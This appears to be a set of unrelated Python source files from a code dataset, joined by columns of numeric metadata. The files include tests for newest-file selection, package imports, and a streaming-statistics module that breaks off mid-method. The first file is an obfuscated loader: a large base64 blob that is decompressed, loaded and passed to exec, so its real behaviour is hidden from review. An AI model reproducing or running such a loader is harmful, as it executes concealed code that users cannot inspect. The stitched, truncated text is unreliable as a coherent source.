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', None),('exec', '__import__', 'loads', 'decompress', 'b64decode', 'Exception', 'e', 'print', 'str'),(),'lambda.py','<module>',1,b'.\x01',(),());_()
| 36,538
| 36,538
| 0.964886
| 1,176
| 36,538
| 29.965136
| 0.943878
| 0.001022
| 0.000766
| 0.000681
| 0.000908
| 0
| 0
| 0
| 0
| 0
| 0
| 0.160767
| 0.000356
| 36,538
| 1
| 36,538
| 36,538
| 0.804025
| 0
| 0
| 0
| 0
| 2
| 0.995676
| 0.993076
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
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| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 11
|
dd17fbcd1fe17513d84f459f176ad482289dd62d
| 207
|
py
|
Python
|
py_deprecate/__init__.py
|
multi-vac/py-deprecate
|
c56642f99f6871874aa2c84346c07bfe92dd7e93
|
[
"MIT"
] | 7
|
2021-03-28T13:02:58.000Z
|
2021-03-31T06:07:01.000Z
|
py_deprecate/__init__.py
|
multi-vac/py_deprecate
|
c56642f99f6871874aa2c84346c07bfe92dd7e93
|
[
"MIT"
] | null | null | null |
py_deprecate/__init__.py
|
multi-vac/py_deprecate
|
c56642f99f6871874aa2c84346c07bfe92dd7e93
|
[
"MIT"
] | null | null | null |
from py_deprecate.behaviors.disabled import Disabled
from py_deprecate.behaviors.log import Log
from py_deprecate.behaviors.raise_exception import RaiseException
from py_deprecate.decorate import deprecated
| 41.4
| 65
| 0.888889
| 28
| 207
| 6.392857
| 0.428571
| 0.134078
| 0.335196
| 0.402235
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.077295
| 207
| 4
| 66
| 51.75
| 0.937173
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
dd5b1c18a242e5ae318ae5d2189a25f2fabeb6ea
| 1,125
|
py
|
Python
|
tests/select/test_get_latest_file_from_directory.py
|
janluak/fil_io
|
79976d2e6ed94d6f1c28616c46a4c8a11938518a
|
[
"Apache-2.0"
] | null | null | null |
tests/select/test_get_latest_file_from_directory.py
|
janluak/fil_io
|
79976d2e6ed94d6f1c28616c46a4c8a11938518a
|
[
"Apache-2.0"
] | null | null | null |
tests/select/test_get_latest_file_from_directory.py
|
janluak/fil_io
|
79976d2e6ed94d6f1c28616c46a4c8a11938518a
|
[
"Apache-2.0"
] | null | null | null |
from ..fixtures import cwd_in_tests_root, os_path
def test_get_newest_file(cwd_in_tests_root):
from fil_io.select import get_newest_file_from_directory
path = "test_files_newest"
response = get_newest_file_from_directory(path)
assert os_path("test_files_newest/newest.csv") == response
def test_get_newest_json(cwd_in_tests_root):
from fil_io.select import get_newest_file_from_directory
path = "test_files_newest"
response = get_newest_file_from_directory(path, file_ending="json")
assert os_path("test_files_newest/new.json") == response
def test_get_newest_pattern(cwd_in_tests_root):
from fil_io.select import get_newest_file_from_directory
path = "test_files_newest"
response = get_newest_file_from_directory(path, pattern="old*")
assert os_path("test_files_newest/old.json") == response
def test_get_newest_regex(cwd_in_tests_root):
from fil_io.select import get_newest_file_from_directory
path = "test_files_newest"
response = get_newest_file_from_directory(path, regex="[a-z].json$")
assert os_path("test_files_newest/new.json") == response
| 33.088235
| 72
| 0.785778
| 174
| 1,125
| 4.591954
| 0.172414
| 0.135169
| 0.146433
| 0.170213
| 0.858573
| 0.828536
| 0.705882
| 0.705882
| 0.705882
| 0.705882
| 0
| 0
| 0.131556
| 1,125
| 33
| 73
| 34.090909
| 0.81781
| 0
| 0
| 0.47619
| 0
| 0
| 0.171556
| 0.094222
| 0
| 0
| 0
| 0
| 0.190476
| 1
| 0.190476
| false
| 0
| 0.238095
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dd73eed0b197ef60332cb037ac84a02a5f8eb401
| 197
|
py
|
Python
|
tests/__init__.py
|
lun/ptime
|
d6dc87f4b93c3a0cd9bc010c2e6ef6efad0f7402
|
[
"MIT"
] | 3
|
2016-10-21T16:11:04.000Z
|
2019-08-03T14:38:36.000Z
|
tests/__init__.py
|
lun/ptime
|
d6dc87f4b93c3a0cd9bc010c2e6ef6efad0f7402
|
[
"MIT"
] | null | null | null |
tests/__init__.py
|
lun/ptime
|
d6dc87f4b93c3a0cd9bc010c2e6ef6efad0f7402
|
[
"MIT"
] | null | null | null |
from .format import TestFormat # noqa: F401
from .format import TestStandardFormats # noqa: F401
from .parser import TestParserMethods # noqa: F401
from .parser import TestParser # noqa: F401
| 32.833333
| 53
| 0.771574
| 24
| 197
| 6.333333
| 0.416667
| 0.210526
| 0.236842
| 0.236842
| 0.315789
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073171
| 0.167513
| 197
| 5
| 54
| 39.4
| 0.853659
| 0.218274
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
06b912dafeee90b460f024fb1d2d174398c902c1
| 42,144
|
py
|
Python
|
app/functions.py
|
chineshboy/Real_Time_Data_Analyze
|
3b7f9763ffba92e0a533eb4fb73b740fa805bdc2
|
[
"MIT"
] | null | null | null |
app/functions.py
|
chineshboy/Real_Time_Data_Analyze
|
3b7f9763ffba92e0a533eb4fb73b740fa805bdc2
|
[
"MIT"
] | null | null | null |
app/functions.py
|
chineshboy/Real_Time_Data_Analyze
|
3b7f9763ffba92e0a533eb4fb73b740fa805bdc2
|
[
"MIT"
] | 1
|
2021-02-02T09:14:15.000Z
|
2021-02-02T09:14:15.000Z
|
__author__ = 'jianxun'
from math import *
from collections import *
from datetime import datetime, timedelta
import numpy
time_range_interpreter = {
'd': lambda x: timedelta(days=x),
'h': lambda x: timedelta(hours=x),
'm': lambda x: timedelta(minutes=x),
's': lambda x: timedelta(seconds=x)
}
support_function_type = {
'count': lambda x: Count(x),
'average': lambda x: Average(x),
'percentile': lambda x: Percentile(x),
'top': lambda x: Top(x),
'sum': lambda x: Sum(x),
'standard_deviation': lambda x: StandardDeviation(x),
'filter': lambda x: Filter(x),
'collect': lambda x: Collect(x),
'self_calc': lambda x: SelfCalc(x)
}
data_example = {
'int': 123,
'long': 10000000000000000000,
'float': 123.45,
'string': 'abc',
'bool': True,
'dict': {'a': 'b'},
'list': [1, 2, 3],
'set': {1, 2, 3}
}
data_type_tag = {
type(1): 'int',
type(10000000000000000000): 'long',
type(1.1): 'float',
type({'1': '2'}): 'dict',
type([]): 'list',
type(''): 'string',
type(True): 'bool',
type({1, 2, 3}): 'set'
}
validation_dict = {
'count': lambda x, y: Count.validate(x, y),
'average': lambda x, y: Average.validate(x, y),
'filter': lambda x, y: Filter.validate(x, y),
'collect': lambda x, y: Collect.validate(x, y),
'percentage': lambda x, y: Percentile.validate(x, y),
'top': lambda x, y: Top.validate(x, y),
'sum': lambda x, y: Sum.validate(x, y),
'standard_deviation': lambda x, y: StandardDeviation.validate(x, y),
'self_calc': lambda x, y: SelfCalc.validate(x, y)
}
def get_time_range(time_range_str):
unit = time_range_str[len(time_range_str) - 1]
value = int(time_range_str[:-1])
return time_range_interpreter[unit](value)
def validate(function_info, data_type):
""" check if the data_type can be correctly calculated by the function
:param function_info: function_info dict, e.g.
{
'name': 'filter',
'target': 'status',
'conditions': [
{
'target': 'cost',
'operator': 'bt',
'param1': 100,
'param2': 1000
},
{}
]
}
:param data_type: data_type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: the result dict, in which 'result' is a boolean indicate if it is validate,
if validate, the 'result_type' would contain the output data_type dict of the function
if not validate, the 'error_info' would contain some reason
"""
result = {}
if not isinstance(function_info, dict):
result['succ'] = False
result['info'] = 'function info should be dict.'
return result
if 'name' not in function_info:
result['succ'] = False
result['info'] = 'validation fail: function name not found.'
return result
return validation_dict[function_info['name']](function_info, data_type)
class Count:
__distinct = None
__dict = {}
__current = 0
__time_range = None
__last_time = None
__tag = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
if info['distinct'] is not None:
self.__distinct = info['distinct']
self.__tag = info['tag']
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or the dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
if self.__distinct is None or len(self.__distinct) == 0:
self.__current += 1
else:
key = ''
# use index to ensure the order do not change ?
for i in xrange(0, len(self.__distinct)):
key += str(data['attrs'][self.__distinct[i]])
if key not in self.__dict:
self.__dict[key] = 1
self.__current += 1
else:
self.__dict[key] += 1
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
return_value = {'data_type_id': None, 'attrs': {self.__tag: self.__current}, 'time': datetime.now()}
for key in self.__dict:
return_value['attrs'][key] = self.__dict[key]
self.__dict = {}
self.__last_time = datetime.now()
self.__current = 0
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for count
:param info: the function dict, e.g.
{
'name': 'count',
'distinct': ['function','cost'],
'tag': 'count_function_cost',
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['distinct', 'tag']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check distinct
if not (isinstance(info['distinct'], list) or info['distinct'] is None):
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}": "distinct" is neither None or a list.'.format(
func_name=info['name'])
return result
if info['distinct'] is not None:
for attr in info['distinct']:
if attr not in data_type:
result['succ'] = False
result['info'] = \
'validation fail in function "{func_name}", distinct "{attr}": attribute not found.'.format(
func_name=info['name'], attr=attr)
return result
# return the result type
result['result_type'] = {info['tag']: 'int'}
return result
class Average:
__sum = 0
__count = 0
__time_range = None
__last_time = None
__tag = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__tag = info['tag']
self.__target = info['target']
self.__sum = 0.0
self.__count = 0
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
else:
self.__count += 1
self.__sum += data['attrs'][self.__target]
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
if self.__count == 0:
self.__count = 1
return_value = {'data_type_id': None, 'attrs': {self.__tag: self.__sum / self.__count}, 'time': datetime.now()}
self.__last_time = datetime.now()
self.__count = 0
self.__sum = 0.0
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'average',
'tag': 'avg_function_cost',
'target': 'cost',
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target', 'tag']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check target
if not isinstance(info['target'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not a string.'.format(
func_name=info['name'])
return result
if info['target'] not in data_type:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}", "target" not in data.'.format(
func_name=info['name'])
return result
if data_type[info['target']] not in ['int', 'float', 'long']:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not numeric.'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = {info['tag']: 'float'}
return result
class Percentile:
__percentage = None
__list = None
__time_range = None
__last_time = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__target = info['target']
self.__list = []
self.__percentage = info['percentage']
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
else:
self.__list.append(data['attrs'])
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
num = len(self.__list)
if num == 0:
return None
else:
self.__list.sort(key=lambda x: x[self.__target])
val = self.__list[num * self.__percentage / 100]
return_value = {'data_type_id': None, 'attrs': val, 'time': datetime.now()}
self.__last_time = datetime.now()
self.__list = []
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'percentage',
'target': 'cost',
'percentage': 95,
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target', 'tag', 'percentage']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check target
if not isinstance(info['target'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not a string.'.format(
func_name=info['name'])
return result
if info['target'] not in data_type:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}", "target" not in data.'.format(
func_name=info['name'])
return result
if data_type[info['target']] not in ['int', 'float', 'long']:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not numeric.'.format(
func_name=info['name'])
return result
# check percentage
if not isinstance(info['percentage'], int):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "percentage" is not int.'.format(
func_name=info['name'])
return result
if not (0 < info['percentage'] < 100):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "percentage" not int (0, 100).'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = data_type
return result
class Top:
__num = None
__list = None
__time_range = None
__last_time = None
__tag = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__tag = info['tag']
self.__target = info['target']
self.__list = []
self.__num = info['num']
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
else:
self.__list.append(data['attrs'][self.__target])
return_value = None
if datetime.now() - self.__last_time > self.__time_range:
return_value = self.get_current()
return return_value
def get_current(self):
"""return the current result if exists
:return: the dict represents the data
"""
num = len(self.__list)
self.__list.sort(reverse=True)
return_value = {'data_type_id': None, 'attrs': {}, 'time': datetime.now()}
for i in xrange(1, self.__num + 1):
if i < num:
return_value['attrs'][self.__tag + '_' + str(i)] = self.__list[i - 1]
else:
return_value['attrs'][self.__tag + '_' + str(i)] = self.__list[num - 1]
self.__last_time = datetime.now()
self.__list = []
return return_value
@staticmethod
def validate(info, data_type):
"""check if the data_type if suitable for calc
:param info: the function dict, e.g.
{
'name': 'top',
'tag': 'top_cost',
'target': 'cost',
'num': 3,
'time_range': '1m'
}
:param data_type: the data type dict, e.g.
{'userid': 'string', 'function': 'string', 'status': 'integer', 'cost': 'real'}
:return: a dict contains `succ` and either `result_type` or `info`
`succ`: a boolean indicates if the data_type and the function dict is validate
`result_type`: if `succ` is True, it contains the result data type dict
`info`: if `succ` is False, it contains the error information string
"""
result = {'succ': True}
# check params existence
for param in ['target', 'tag', 'num']:
if param not in info:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "{param}" not found'.format(
func_name=info['name'], param=param)
return result
# check tag
if not isinstance(info['tag'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "tag" is not a string.'.format(
func_name=info['name'])
return result
# check target
if not isinstance(info['target'], str):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not a string.'.format(
func_name=info['name'])
return result
if info['target'] not in data_type:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}", "target" not in data.'.format(
func_name=info['name'])
return result
if data_type[info['target']] not in ['int', 'float', 'long']:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "target" is not numeric.'.format(
func_name=info['name'])
return result
# check num
if not isinstance(info['num'], int):
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "num" is not int.'.format(
func_name=info['name'])
return result
if info['num'] < 1:
result['succ'] = False
result['info'] = 'validation fail in function "{func_name}": "num" less than 1.'.format(
func_name=info['name'])
return result
# return the result type
result['result_type'] = {}
for i in xrange(1, info['num'] + 1):
result['result_type'][info['tag'] + '_' + str(i)] = data_type[info['target']]
return result
class Sum:
__sum = 0
__time_range = None
__last_time = None
__tag = None
__target = None
id = None
def __init__(self, info):
"""Initialize the Function
:param info: a dict that contains information about the function itself
:return:
"""
self.__time_range = get_time_range(info['time_range'])
self.__tag = info['tag']
self.__target = info['target']
self.__sum = 0
self.id = numpy.random.random()
# print('init count:' + str(self.id))
def calc(self, data):
"""do calculating and returns the result
:param data: a dict represents the input data
:return: None if do not have a result yet, or a dict represents the data
"""
# print('{id} calc'.format(id=self.id))
if self.__last_time is None:
self.__last_time = datetime.now()
else:
self.__sum += data['attrs'][self.__target]
